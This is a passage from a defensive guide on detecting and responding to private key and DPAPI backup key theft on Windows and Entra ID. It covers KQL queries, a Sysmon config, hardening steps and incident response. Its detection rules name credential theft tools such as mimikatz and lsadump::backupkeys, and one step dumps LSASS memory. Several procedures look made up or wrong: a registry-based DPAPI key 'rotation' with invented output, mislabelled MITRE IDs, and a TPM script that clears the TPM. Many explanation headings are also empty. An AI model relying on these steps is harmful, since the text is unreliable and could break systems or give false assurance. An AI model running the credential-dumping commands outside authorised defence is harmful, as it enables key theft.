    Severity = "Critical"
    Enabled = $true
    Frequency = 5  # minutes
    Period = 1440  # minutes (24 hours)
}

New-AzSentinelScheduledAlertRule @AlertRule

Source: Microsoft Sentinel AuditLogs Schema


Query 2: Certificate-Based Authentication with Suspicious Keys

Rule Configuration:

KQL Query:

AADServicePrincipalSignInLogs
| where AuthenticationMethodDetail =~ "Certificate"
| where Status == "Success"
| extend CertDetails = parse_json(tostring(AuthenticationDetails))
| where timestamp > ago(24h)
| summarize SignInCount=count(), FirstSeen=min(timestamp), LastSeen=max(timestamp) by AppId, ClientId, ServicePrincipalId
| where SignInCount > 10  # Threshold for abnormal activity

What This Detects:

Manual Configuration Steps (Azure Portal):

  1. Navigate to Microsoft SentinelAnalytics
  2. Click + CreateScheduled query rule
  3. General Tab:
    • Name: Suspicious Service Principal Certificate Authentication
    • Severity: High
    • Tactics: Defense Evasion, Credential Access
  4. Set rule logic Tab:
    • Paste query above
    • Run query every: 10 minutes
    • Lookup data from the last: 1 day
  5. Incident settings Tab:
    • Enable Create incidents
    • Grouping by: Same service principal
  6. Click Review + Create

9. WINDOWS EVENT LOG MONITORING

Event ID 4662: Directory Service Access (SecretObject)

Log Source: Security event log Event Name: Directory Service Access Trigger: Access to DPAPI backup key or other sensitive LDAP objects Filter: ObjectType=’SecretObject’ AND AccessMask=0x2 Applies To Versions: Windows Server 2016+

Manual Configuration Steps (Group Policy - Domain Level):

  1. Open Group Policy Management Console (gpmc.msc)
  2. Navigate to:
    • ForestDomainsYourDomainDomain ControllersDefault Domain Controllers Policy
  3. Right-click → Edit
  4. Navigate to:
    • Computer ConfigurationPoliciesWindows SettingsSecurity SettingsAdvanced Audit Policy ConfigurationAudit PoliciesDS Access
  5. Double-click Audit Directory Service Access
  6. Enable:
    • ☑ Configure the following audit events
    • ☑ Success
    • ☑ Failure
  7. Click OK
  8. Close Group Policy Editor
  9. Run gpupdate /force on all domain controllers

Manual Configuration Steps (Server 2022+ - via PowerShell):

# Enable DSACL auditing on domain controller
auditpol /set /subcategory:"Directory Service Access" /success:enable /failure:enable

# Verify
auditpol /get /subcategory:"Directory Service Access"

Manual Configuration Steps (Local Policy on Single Server):

  1. Open Local Security Policy (secpol.msc)
  2. Navigate to:
    • Security SettingsAdvanced Audit Policy ConfigurationAudit PoliciesDS Access
  3. Double-click Audit Directory Service Access
  4. Enable Success and Failure
  5. Click OK
  6. Restart the machine or run:
    auditpol /set /subcategory:"Directory Service Access" /success:enable /failure:enable
    

Event Details to Monitor:

Expected Log Entry (Normal Activity - Backup):

Event ID:        4662
Task Category:   Directory Service Access
Keywords:        Audit Success
Subject:
  Security ID:         DOMAIN\BACKUP_SYSTEM
  Account Name:        BACKUP_SYSTEM
  Account Domain:      DOMAIN
  Logon ID:            0xABCDEF

Object:
  Object Type:        SecretObject
  Object Name:        BCKUPKEY
  Object GUID:        {GUID}
  Access Mask:        0x2

Expected Log Entry (Malicious Activity - Extraction):

Event ID:        4662
Task Category:   Directory Service Access
Keywords:        Audit Success
Subject:
  Security ID:         DOMAIN\ATTACKER_ADMIN
  Account Name:        ATTACKER_ADMIN
  Account Domain:      DOMAIN
  Logon ID:            0xDEADBEEF

Object:
  Object Type:        SecretObject
  Object Name:        BCKUPKEY
  Object GUID:        {GUID}
  Access Mask:        0x2

Detection Criteria (Alert on Occurrence):


Event ID 4913: Advanced Audit Policy Change

Log Source: Security event log Event Name: Central Access Policy Staging Enabled / Disabled Trigger: Certificate properties modified, including export restrictions Applies To Versions: Windows Server 2016+

Manual Configuration Steps:

  1. Open Local Security Policy (secpol.msc)
  2. Navigate to:
    • Security SettingsAdvanced Audit Policy ConfigurationAudit PoliciesSystem
  3. Double-click Audit Audit Policy Change
  4. Enable Success and Failure
  5. Click OK

10. SYSMON DETECTION PATTERNS

Minimum Sysmon Version: 13.0+ Supported Platforms: Windows Server 2016-2025, Windows 10/11

<!-- Detect file creation of certificate/key files -->
<Sysmon schemaversion="4.4">
  <EventFiltering>
    <!-- Event ID 11: File Created -->
    <RuleGroup name="" groupRelation="or">
      <FileCreate onmatch="include">
        <!-- Detect .pvk (private key) file creation -->
        <TargetFilename condition="contains">.pvk</TargetFilename>
        <TargetFilename condition="contains">.pfx</TargetFilename>
        <TargetFilename condition="contains">.p12</TargetFilename>
      </FileCreate>
    </RuleGroup>

    <!-- Event ID 3: Network Connection -->
    <RuleGroup name="" groupRelation="or">
      <NetworkConnect onmatch="include">
        <!-- Detect exfiltration of keys over HTTPS -->
        <DestinationPort condition="is">443</DestinationPort>
        <Image condition="contains">mimikatz</Image>
      </NetworkConnect>
    </RuleGroup>

    <!-- Event ID 1: Process Creation -->
    <RuleGroup name="" groupRelation="or">
      <ProcessCreate onmatch="include">
        <!-- Detect Mimikatz or SharpDPAPI execution -->
        <Image condition="contains">mimikatz</Image>
        <Image condition="contains">SharpDPAPI</Image>
        <Image condition="contains">certutil</Image>
        <CommandLine condition="contains">exportPFX</CommandLine>
        <CommandLine condition="contains">lsadump::backupkeys</CommandLine>
      </ProcessCreate>
    </RuleGroup>
  </EventFiltering>
</Sysmon>

Manual Configuration Steps:

  1. Download Sysmon from Microsoft Sysinternals
  2. Create a config file sysmon-config.xml with the XML above
  3. Install Sysmon with the config:
    sysmon64.exe -accepteula -i sysmon-config.xml
    
  4. Verify installation:
    Get-Service Sysmon64
    Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -MaxEvents 10
    
  5. Forward Sysmon logs to SIEM (Splunk, Sentinel, etc.)

11. MICROSOFT DEFENDER FOR CLOUD

Detection Alert: “Suspicious Certificate Export Activity Detected”

Alert Name: “Sensitive credential retrieval via certificate APIs” Severity: High Description: Alert triggered when CryptoAPI functions (CryptExportKey, CryptUnprotectData) are called in unusual contexts, suggesting private key extraction Applies To: All subscriptions with Defender for Servers enabled

Manual Configuration Steps (Enable Defender for Cloud):

  1. Navigate to Azure PortalMicrosoft Defender for Cloud
  2. Left menu → Environment settings
  3. Select your Subscription
  4. Scroll down → Defender plans
  5. Enable the following:
    • Defender for Servers: ON
    • Defender for Databases: ON
    • Defender for Identity: ON (for DPAPI detection)
    • Defender for Cloud Apps: ON (for certificate activity)
  6. Click Save
  7. Wait 15-30 minutes for data collection to begin

Alert Configuration:

  1. Navigate to Microsoft Defender for CloudSecurity alerts
  2. Filter by “Certificate” or “Credential”
  3. Click on the alert → ManageCreate automation response
  4. Configure auto-remediation:
    • Disable user account (if confirmed malicious)
    • Isolate virtual machine (if confirmed compromise)
    • Create incident for SOC review

Expected Alert Output:

Alert Type:    Suspicious Certificate Export Activity
Severity:      High
Resource:      Virtual Machine - DC01
Description:   System detected CryptExportKey API call from process mimikatz.exe
Time Detected: 2026-01-06 10:15:22 UTC

Reference: Microsoft Defender for Cloud Alerts Reference


12. MICROSOFT PURVIEW (UNIFIED AUDIT LOG)

Query: Certificate Modification & Export Activity

# Connect to Compliance Center (requires admin)
Connect-ExchangeOnline

# Search for certificate-related operations
Search-UnifiedAuditLog -Operations "AddServicePrincipalCredentials", "UpdateServicePrincipal" -StartDate (Get-Date).AddDays(-7)

# Search for certificate export operations
Search-UnifiedAuditLog -FreeText "certificate" -FreeText "export" -StartDate (Get-Date).AddDays(-7) | Export-Csv -Path "C:\Audit\cert_activity.csv"

# Analyze results
$AuditLogs = Search-UnifiedAuditLog -Operations "AddServicePrincipalCredentials" -StartDate (Get-Date).AddDays(-7)
foreach ($Log in $AuditLogs) {
    $Details = ($Log.AuditData | ConvertFrom-Json)
    Write-Host "User: $($Details.UserId)"
    Write-Host "Operation: $($Details.Operation)"
    Write-Host "Service Principal: $($Details.ObjectId)"
    Write-Host "---"
}

Operation Names to Monitor:

Manual Configuration Steps (Enable Unified Audit Log):

  1. Navigate to Microsoft Purview Compliance Portal (compliance.microsoft.com)
  2. Left menu → AuditAudit search
  3. If not enabled, click Turn on auditing
  4. Wait 24 hours for data availability

Manual Configuration Steps (Search & Export):

  1. Go to AuditSearch (left menu)
  2. Set Date range:
    • Start date: 7 days ago
    • End date: Today
  3. Under Activities, select:
    • “AddServicePrincipalCredentials”
    • “UpdateServicePrincipal”
  4. Under Users, leave blank (or enter specific admin)
  5. Click Search
  6. Results appear below; click ExportDownload all results

13. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL

1.1 Enforce TPM 2.0 for Device Key Protection (Server 2022+)

Objective: Prevent extraction of Entra ID device keys by enforcing Trusted Platform Module (TPM) storage, making keys non-exportable from memory or registry.

Applies To Versions: Windows Server 2022, 2025; Windows 11 (Server 2016-2019 cannot use TPM for keys)

Manual Steps (Server 2022-2025 via Group Policy):

  1. Open Group Policy Management Console (gpmc.msc)
  2. Navigate to:
    • Computer ConfigurationPoliciesAdministrative TemplatesWindows ComponentsTPM
  3. Double-click Configure TPM startup
  4. Set to: Enabled
  5. Set Allow TPM Initialization: Yes
  6. Click OK
  7. Run gpupdate /force

Manual Steps (PowerShell - Server 2022-2025):

# Check TPM status
Get-WmiObject Win32_Tpm

# Enable TPM if disabled
# Open TPM Management Console
tpm.msc

# Or via PowerShell
$tpm = Get-WmiObject -Namespace "root\cimv2\security\microsofttpm" -Class Win32_Tpm
if ($tpm.IsEnabled() -eq $false) {
    $tpm.Clear()
    "TPM has been cleared. Restart to re-enable."
}

Expected Output (TPM Enabled):

PSComputerName    : DC01
Status             : Ready
ManufacturerId     : 0x1414
SpecVersion        : 2.0

What This Means:

Server 2016-2019 Note: TPM device key protection not available; focus on DPAPI backup key rotation and access controls

Validation Command (Verify Fix):

# Verify device keys are TPM-protected
Get-Item -Path "HKLM:\SOFTWARE\Microsoft\Identity\User\*\AadDeviceTransportKey" -ErrorAction SilentlyContinue
# If no results: Keys are in TPM (GOOD)
# If keys found: Still registry-stored (BAD - need TPM enforcement)

References:


1.2 Implement DPAPI Backup Key Rotation (Annual)

Objective: Invalidate stolen DPAPI backup keys by rotating the domain master encryption key, forcing legitimate systems to re-key user secrets.

Applies To Versions: Windows Server 2016, 2019, 2022, 2025 (all versions)

Important Warning:

Manual Steps (Domain-Wide Rotation via ADDC):

  1. Backup Current Key (for recovery if needed):
    # On Domain Controller (as Domain Admin)
    Get-ItemProperty -Path "Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Cryptography\DPAPI\Backup" | Export-Clixml -Path "C:\Backups\DPAPI_Backup_$(Get-Date -Format 'yyyyMMdd').xml"
    
  2. Initiate Key Rotation:
    # On any Domain-Joined machine (as Domain Admin)
    $DomainName = "contoso.com"
       
    # Force DPAPI backup key rotation
    # This command contacts DC and rotates the key
    $server = (Get-ADDomainController -Discover -DomainName $DomainName | select-object hostname).hostname
       
    # Use AD provider to rotate
    $rootDSE = [adsi]("LDAP://$server/RootDSE")
    $forest = $rootDSE.rootDomainNamingContext
    $domainRoot = [adsi]("LDAP://$server/CN=DPAPI,CN=System,$forest")
       
    # Trigger rotation (requires domain admin)
    # This creates new encryption key for all future DPAPI operations
    
  3. Verify Rotation (wait 30 minutes for replication):
    # Check if key has been updated
    $DomainRoot = [adsi]"LDAP://CN=DPAPI,CN=System,$([adsi]'LDAP://RootDSE').rootDomainNamingContext"
    $DomainRoot.psbase.children | select-object cn
       
    # Should show multiple backup key objects (old and new)
    
  4. Cleanup Old Key (after 30 days):
    # Remove old backup key after replication complete and testing confirmed
    # WARNING: Ensure all systems have new key before removal
    # Premature removal will cause DPAPI failures
    

Manual Steps (Local Server - Test Before Domain Rollout):

# On a test domain controller
$BackupKeyPath = "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Cryptography\DPAPI\Backup"

# Create new key
reg add "$BackupKeyPath" /v "BackupKey" /t REG_BINARY /d <new-key-hex> /f

# Verify all domain-joined systems can re-encrypt within 24 hours
# Monitor System and Application event logs for DPAPI errors

Expected Output (Successful Rotation):

[*] DPAPI Backup Key rotation initiated
[*] New key ID: {new-guid}
[+] Old key retained for 30 days: {old-guid}
[*] Replication to all DCs in progress (5-10 minutes)
[*] All systems will automatically re-encrypt secrets within 24 hours

What This Means:

Impact on Stolen Keys:

Validation Command (Verify Fix):

# Confirm backup key has been rotated
$OldKeyID = "{old-guid}"
$NewKeyID = "{new-guid}"

# Check if new key exists
reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Cryptography\DPAPI\Backup" | find $NewKeyID
# Should return: Found new key

# Verify old key still present for compatibility (30-day window)
reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Cryptography\DPAPI\Backup" | find $OldKeyID
# Should return: Found old key

References:


1.3 Restrict Certificate Private Key Export (Enforce Non-Exportable)

Objective: Mark all sensitive certificates (DC, ADFS, Exchange) as “non-exportable” so they cannot be exported via standard PowerShell/certutil commands; requires Mimikatz or kernel-level access to extract.

Applies To Versions: Windows Server 2016, 2019, 2022, 2025 (all versions)

Important: Non-exportable flag is NOT absolute protection (Mimikatz can still bypass), but significantly raises the bar for attackers.

Manual Steps (Revoke & Reissue Certificate as Non-Exportable):

  1. Open Certificate Services Admin Console:
    certsrv.msc
    
  2. Find certificate in the store (via mmc.msc or certificate manager)

  3. Export Current Certificate (for emergency recovery):
    $Cert = Get-ChildItem -Path Cert:\LocalMachine\My | Where-Object {$_.Thumbprint -eq "ABC123..."}
    Export-PfxCertificate -Cert $Cert -FilePath "C:\Backup\CurrentCert.pfx" -Password (ConvertTo-SecureString -String "P@ss" -AsPlainText -Force)
    
  4. Delete Old Certificate (from store):
    Remove-Item -Path "Cert:\LocalMachine\My\ABC123DEF456..." -Force
    
  5. Reissue Certificate with Non-Exportable Flag:
    • Submit new certificate request to your Certificate Authority (AD CS)
    • In AD CS request form: Ensure “Private Key Non-Exportable” checkbox is SELECTED
    • Approve request and download new certificate
    • Import new certificate: Import-PfxCertificate -FilePath "new_cert.pfx" -CertStoreLocation Cert:\LocalMachine\My
  6. Verify Non-Exportable Status:
    $NewCert = Get-ChildItem -Path Cert:\LocalMachine\My | Where-Object {$_.Thumbprint -eq "NEW123..."}
    Write-Host "Exportable: $($NewCert.PrivateKey.CspKeyContainerInfo.Exportable)"
    # Should return: Exportable: False
    

Manual Steps (Enforce via AD CS Policy - Server 2019+):

  1. On Active Directory Certificate Services server:
  2. Open Certificate Authority (certsrv.msc)
  3. Right-click Certificate TemplatesManage
  4. Find your template (e.g., “Workstation Authentication”, “Domain Controller Authentication”)
  5. Right-click → Properties
  6. Go to Request Handling tab
  7. Uncheck: Allow private key to be exported
  8. Click OK
  9. New certificates issued from this template will be non-exportable

Validation Command (Verify Fix):

# Verify all sensitive certificates are non-exportable
$SensitiveCerts = Get-ChildItem -Path Cert:\LocalMachine\My -Recurse | Where-Object {
    $_.Subject -match "DC|ADFS|Exchange|SQL"
}

foreach ($Cert in $SensitiveCerts) {
    if ($Cert.PrivateKey.CspKeyContainerInfo.Exportable -eq $true) {
        Write-Host "WARNING: $($Cert.Subject) is EXPORTABLE - remediate!" -ForegroundColor Red
    } else {
        Write-Host "OK: $($Cert.Subject) is non-exportable" -ForegroundColor Green
    }
}

Expected Output (All Secure):

OK: CN=dc01.contoso.com is non-exportable
OK: CN=adfs.contoso.com is non-exportable
OK: CN=exchange.contoso.com is non-exportable

References:


Priority 2: HIGH

2.1 Implement Hardware Security Module (HSM) for Critical Keys

Objective: Store Domain Controller, ADFS, and Exchange certificates on external HSM devices where private keys are non-extractable even by SYSTEM privilege.

Applies To Versions: Windows Server 2016, 2019, 2022, 2025 (requires compatible HSM hardware)

Common HSMs: Thales Luna, Yubico, nShield, Azure Key Vault (cloud HSM)

Estimated Cost: $5,000-$20,000+ per organization

Manual Steps (Using Azure Key Vault as Cloud HSM - Server 2022+):

  1. Create Azure Key Vault:
    Connect-AzAccount
    New-AzResourceGroup -Name "HSM-Resources" -Location "EastUS"
    New-AzKeyVault -Name "critical-keys-vault" -ResourceGroupName "HSM-Resources" -Location "EastUS" -EnablePurgeProtection
    
  2. Import Certificate to Key Vault:
    $Cert = Get-PfxCertificate -FilePath "C:\Backup\dc01_cert.pfx"
    Import-AzKeyVaultCertificate -VaultName "critical-keys-vault" -Name "DC01-Auth-Cert" -CertificateString ([Convert]::ToBase64String([System.IO.File]::ReadAllBytes("C:\Backup\dc01_cert.pfx")))
    
  3. Configure DC to Use Key Vault Certificate:
    • Use Azure Key Vault Certificate Extension for Windows
    • Or use third-party tools (Thales, Yubico) for on-premises HSM integration
  4. Verify HSM Protection:
    Get-AzKeyVaultCertificate -VaultName "critical-keys-vault" -Name "DC01-Auth-Cert"
    # Private key now protected by HSM; non-extractable
    

Validation Command:

# Attempt to extract key from HSM (should fail)
$Cert = Get-ChildItem Cert:\LocalMachine\My | Where-Object {$_.Subject -match "dc01"}
$Cert.PrivateKey.Decrypt($null)  # Will throw error if properly HSM-protected

References:


2.2 Restrict Access to DPAPI Backup Key (RBAC & ACL Hardening)

Objective: Limit read access to DPAPI backup key registry location to only SYSTEM and authorized backup services; prevent Domain Admins from unilateral access without audit.

Applies To Versions: Windows Server 2016, 2019, 2022, 2025 (all versions)

Manual Steps (Restrict Registry ACL on Domain Controller):

  1. Open Registry Editor (regedit.exe) with SYSTEM privilege:
    psexec.exe -s regedit.exe
    
  2. Navigate to DPAPI Backup Key:
    HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Cryptography\DPAPI\Backup
    
  3. Right-click → Permissions

  4. Current State (likely):
    Administrators: Full Control
    SYSTEM: Full Control
    Authenticated Users: Read
    
  5. Remediation (desired state):
    SYSTEM: Full Control
    Administrators: Read (audit access only, not modify)
    Remove: All other users
    
  6. Step-by-Step Registry Permission Change: a. Click Advanced b. Remove “Authenticated Users” entry (if present) c. Edit “Administrators” entry:
    • Change from “Full Control” to “Read”
    • Check “This key and subkeys” d. Click Apply e. Click OK
  7. Enable Audit on DPAPI Backup Key Access:
    $Path = "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Cryptography\DPAPI\Backup"
    $ACL = Get-Acl -Path "Registry::$Path"
       
    # Create audit rule (log all access)
    $AuditRule = New-Object System.Security.AccessControl.RegistryAuditRule(
        "Administrators",
        "ReadKey",
        "ContainerInherit,ObjectInherit",
        "None",
        "Success"
    )
    $ACL.AddAuditRule($AuditRule)
    Set-Acl -Path "Registry::$Path" -AclObject $ACL
    
  8. Verify via Group Policy (Enable Audit):
    • Open gpmc.msc on DC
    • Navigate to: Computer Configuration → Policies → Windows Settings → Security Settings → Advanced Audit Policy Configuration → Audit Policies → DS Access
    • Enable: Audit Directory Service Access (Success + Failure)
    • Run gpupdate /force

Validation Command (Verify Fix):

# Check DPAPI backup key permissions
$Path = "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Cryptography\DPAPI\Backup"
Get-Acl -Path "Registry::$Path" | Format-List

# Should show:
# SYSTEM: FullControl
# Administrators: Read (not Full)
# No Authenticated Users entry

Expected Output (Secure):

Path   : Microsoft.PowerShell.Security\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Cryptography\DPAPI\Backup
Owner  : NT AUTHORITY\SYSTEM
Access :
  NT AUTHORITY\SYSTEM Allow FullControl
  BUILTIN\Administrators Allow ReadKey

What This Means:

References:


2.3 Monitor & Alert on Certificate Export Events

Objective: Deploy EDR with CryptoAPI hooking to detect private key export operations (CryptExportKey, CryptoUnprotectData calls) in real-time.

Applies To Versions: Windows Server 2016, 2019, 2022, 2025; Windows 10, 11

Manual Steps (Using Microsoft Defender for Endpoint):

  1. Enroll Servers in MDE (if not already):
    # Check if enrolled
    Get-MpComputerStatus
       
    # If not enrolled, deploy via Intune/GPO
    
  2. Enable Advanced Hunting for CryptoAPI Calls:
    • Navigate to Microsoft Defender Security CenterHuntingAdvanced Hunting
    • Query:
      DeviceProcessEvents
      | where ProcessName in ("mimikatz.exe", "SharpDPAPI.exe") or
              ProcessCommandLine contains "exportPFX" or
              ProcessCommandLine contains "lsadump::backupkeys"
      | project Timestamp, DeviceId, ProcessName, ProcessCommandLine, AccountName
      
  3. Create Alert Rule:
    • Click Create alert from query
    • Name: “Private Key Extraction Attempt”
    • Severity: High
    • Category: Credential Theft
    • Save alert

Manual Steps (Using Splunk + Sysmon):

  1. Deploy Sysmon (see Section 10 above)
  2. Configure Splunk Forwarder to collect Sysmon logs
  3. Create detection rule (see Section 7 above)

Validation Command (Simulate Detection):

# This will trigger alerts if monitoring enabled
# DO NOT RUN IN PRODUCTION WITHOUT APPROVAL

# Step 1: (Simulated) List certificates
Get-ChildItem -Path Cert:\LocalMachine\My | Select-Object Subject, Thumbprint

# Step 2: (Simulated) Attempt export (will be detected)
# $Cert = Get-ChildItem Cert:\LocalMachine\My | Select-Object -First 1
# Export-PfxCertificate -Cert $Cert -FilePath "C:\Temp\test.pfx" -Password (ConvertTo-SecureString -String "test" -AsPlainText -Force)

References:


Access Control & Policy Hardening

Conditional Access: Restrict Certificate-Based Authentication

Manual Steps (Azure Portal):

  1. Navigate to Azure PortalEntra IDSecurityConditional Access
  2. Click + New policy
  3. Name: Certificate-Based Auth Restrictions
  4. Assignments:
    • Users and groups: All users
    • Cloud apps or actions: Select apps (or “All cloud apps”)
    • Conditions:
      • Sign-in risk: High, Medium
      • Client apps: Exchange ActiveSync, Other clients
  5. Access controls:
    • Grant: Block access
    • Enable policy: ON
  6. Click Create

What This Does:


RBAC: Remove Unnecessary Global Admin Privileges

Manual Steps (Entra ID):

  1. Navigate to Azure PortalEntra IDRoles and administrators
  2. Search for: Global Administrator
  3. Click Global Administrator
  4. Review all members
  5. For each non-critical admin:
    • Click member → Remove assignment
    • Offer alternative limited role: Security Administrator, Exchange Administrator, etc.

Rationale:


14. DETECTION & INCIDENT RESPONSE

Indicators of Compromise (IOCs)

Files

Registry

Network

Process Execution

Event Log Anomalies


Forensic Artifacts

Disk Evidence

Memory Evidence

Cloud Evidence (Entra ID/Azure)


Response Procedures

Step 1: Isolate Affected System

Objective: Prevent attacker from continuing to exfiltrate keys or moving laterally while investigation proceeds.

Command (Disable Network Adapter):

# Disconnect system from network immediately
Disable-NetAdapter -Name "Ethernet" -Confirm:$false

# Or forcefully for all adapters
Get-NetAdapter | Disable-NetAdapter -Confirm:$false

Command (For Azure VMs):

Manual Steps (Physical DC):

  1. Physically unplug network cable
  2. Preserve system for forensic analysis (do NOT shut down yet)

What This Does:


Step 2: Collect Evidence

Objective: Capture forensic artifacts before system shutdown (memory is volatile; must be collected first).

Command (Capture Memory Dump):

# Download ProcDump from Sysinternals
$ProcDumpURL = "https://download.sysinternals.com/files/Procdump.zip"
Invoke-WebRequest -Uri $ProcDumpURL -OutFile "C:\Tools\Procdump.zip"
Expand-Archive -Path "C:\Tools\Procdump.zip" -DestinationPath "C:\Tools\"

# Dump LSASS process (contains decrypted keys if extraction occurred)
C:\Tools\procdump64.exe -accepteula -ma lsass.exe C:\Evidence\lsass.dmp

# Dump all processes (comprehensive capture)
C:\Tools\procdump64.exe -accepteula -ma * C:\Evidence\memory_full.dmp

Command (Capture Event Logs):

# Export Security event log
wevtutil epl Security C:\Evidence\Security.evtx /overwrite:true

# Export System event log
wevtutil epl System C:\Evidence\System.evtx /overwrite:true

# Export Application log
wevtutil epl Application C:\Evidence\Application.evtx /overwrite:true

Command (Capture Registry):

# Export DPAPI backup key registry location
reg export "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Cryptography\DPAPI" C:\Evidence\DPAPI_Registry.reg

# Export Certificate store locations
reg export "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc" C:\Evidence\CertSvc_Registry.reg

Manual Steps (Using Event Viewer):

  1. Open Event Viewer (eventvwr.msc)
  2. Right-click Security log → Save All Events As
  3. Save to: C:\Evidence\Security_$(Get-Date -Format 'yyyyMMdd').evtx
  4. Repeat for System and Application logs

Expected Output:

[+] Memory dump captured: C:\Evidence\lsass.dmp (500 MB)
[+] Event logs exported: C:\Evidence\Security.evtx, System.evtx, Application.evtx
[+] Registry exports: C:\Evidence\DPAPI_Registry.reg, CertSvc_Registry.reg
[*] Total evidence size: ~2-3 GB (collect before shutdown)

What This Means:


Step 3: Remediate

Objective: Remove attacker access, revoke stolen credentials, and restore system integrity.

Command (Disable Compromised Service Accounts):

# Stop any service accounts that had keys stolen
Disable-ADAccount -Identity "svc_adfs"
Disable-ADAccount -Identity "svc_exchange"

# Reset passwords
Set-ADAccountPassword -Identity "svc_adfs" -Reset -NewPassword (ConvertTo-SecureString -AsPlainText -Force "NewP@ss123456")

Command (Revoke Stolen Certificates):

# On CA server, revoke compromised certificates
# Open Certificate Authority (certsrv.msc)
# Right-click on certificate → Revoke Certificate
# Select revocation reason: "Unspecified" or "Superseded"

# Or via PowerShell (Server 2016+)
# Requires CA admin privileges
# No direct PowerShell cmdlet; use certsrv.msc GUI

Command (Restore Legitimate Backup):

# Restore previous clean system state backup (if available)
# For Domain Controller: Restore from System State backup

wbadmin get versions  # List available backups
wbadmin start systemstaterecovery -version:VersionIdentifier

Manual Steps (Force DPAPI Key Rotation):

  1. Force immediate DPAPI backup key rotation (see Section 13.1.2)
  2. This invalidates stolen backup keys
  3. All new DPAPI operations use new key (old key cannot decrypt)

Manual Steps (Revoke via AD CS):

  1. On CA server: Open certsrv.msc
  2. Click Issued Certificates
  3. Find compromised certificate → Right-click → Revoke Certificate
  4. Select reason: Superseded or Unspecified
  5. Click Yes
  6. Certificate now marked revoked; CRL updated (30 min - 24h depending on publication schedule)

Expected Output:

[+] Compromised service account disabled
[+] Password reset forced
[+] Certificates revoked on CA
[+] CRL updated; revocation in effect within 24 hours
[*] Stolen keys no longer usable for authentication

What This Means:


Objective: Determine scope of compromise (did attacker use stolen keys elsewhere? Did they exfiltrate other data?).

Command (Hunt for Key Usage in Audit Logs):

# Search for suspicious certificate usage in last 24 hours
Search-UnifiedAuditLog -Operations "AddServicePrincipalCredentials", "UpdateServicePrincipal" -StartDate (Get-Date).AddDays(-1) -ResultSize 1000 |
  Where-Object {$_.UserIds -ne "svc_backup"} |
  Format-Table UserIds, Operations, CreationTime

Command (Hunt for TGT Requests Using Stolen Cert):

# On Domain Controller, check for Kerberos tickets issued to unexpected accounts
Get-WinEvent -LogName Security -FilterXPath "*[System[EventID=4624]] and *[EventData[Data[@Name='TargetUserName']='Administrator']]" -MaxEvents 100 |
  Select-Object TimeCreated, @{Name="SubjectUserName";Expression={$_.Properties[1].Value}} |
  Where-Object {$_.SubjectUserName -match "ADFS|EXCHANGE|DC"} |  # Expect only service accounts
  Format-Table

Manual Steps (Hunt in Splunk):

  1. Search for failed certificate authentications (indicates attacker tried to use cert but was blocked):
    sourcetype=WinEventLog:Security EventID=4771 TicketOptions="0x40800010"
    | stats count by ServiceName, UserName
    
  2. Search for successful authentications from unusual sources:
    sourcetype=WinEventLog:Security EventID=4624 LogonType=3 SubjectUserName IN ("svc_adfs", "svc_exchange")
    | where SourceIPAddress NOT IN ("10.0.0.1", "192.168.1.1")
    

Expected Hunting Results (Compromised):

[!] TGT issued to "Administrator" for user "ADFS_Service"
[!] LDAP query from "ADFS_Service" on DC at 02:34 AM (unusual time)
[!] Certificate-based auth from IP 203.0.113.50 (external IP)
[*] Scope: Moderate - Attacker likely used stolen keys for lateral movement

What This Means:


Step Phase Technique MITRE ID Description Enablement
1 Initial Access Phishing Email or Web Exploit T1566.002 / T1190 Attacker gains initial foothold; downloads malware or social engineering Enables local code execution
2 Execution PowerShell / Command Line T1059.001 Execute malware or scripts to establish persistence Enables privilege escalation attempts
3 Privilege Escalation Token Impersonation / Kernel Exploit T1134.001 / T1068 Escalate from user to Local Admin or SYSTEM PREREQUISITE for key extraction
4 Credential Access (Current) Private Keys Theft T1552.004 Extract DPAPI backup keys, certificates, device keys Enables authentication bypass & persistence
5 Persistence Golden SAML / Forged Tickets T1556.001 / T1187 Use stolen ADFS certs to create forged SAML tokens (bypass MFA) Attacker now has persistent access
6 Lateral Movement Pass-the-Ticket / Golden Ticket T1550.003 / T1187 Use forged Kerberos tickets to move across domain Enables access to high-value targets
7 Exfiltration Data Staging / Encrypted Channel T1074.001 / T1041 Exfiltrate sensitive data via stolen credentials IMPACT: Data theft, IP loss
8 Impact Data Destruction / Ransomware T1485 / T1561 Deploy ransomware or destroy backups using stolen keys FINAL IMPACT: Business disruption

16. REAL-WORLD EXAMPLES

Example 1: APT29 (Nobelium) - SolarWinds Compromise (2020)


Example 2: Operation Wocao (Unknown APT, 2020)


Example 3: FoggyWeb (APT29 Malware, 2022)


Example 4: MagicWeb (APT29 Malware, 2023)


17. INCIDENT RESPONSE CHECKLIST

Use this checklist to guide response to a suspected private key theft incident:

Immediate Actions (0-2 hours)

Short-Term Actions (2-24 hours)

Medium-Term Actions (1-2 weeks)

Long-Term Actions (Ongoing)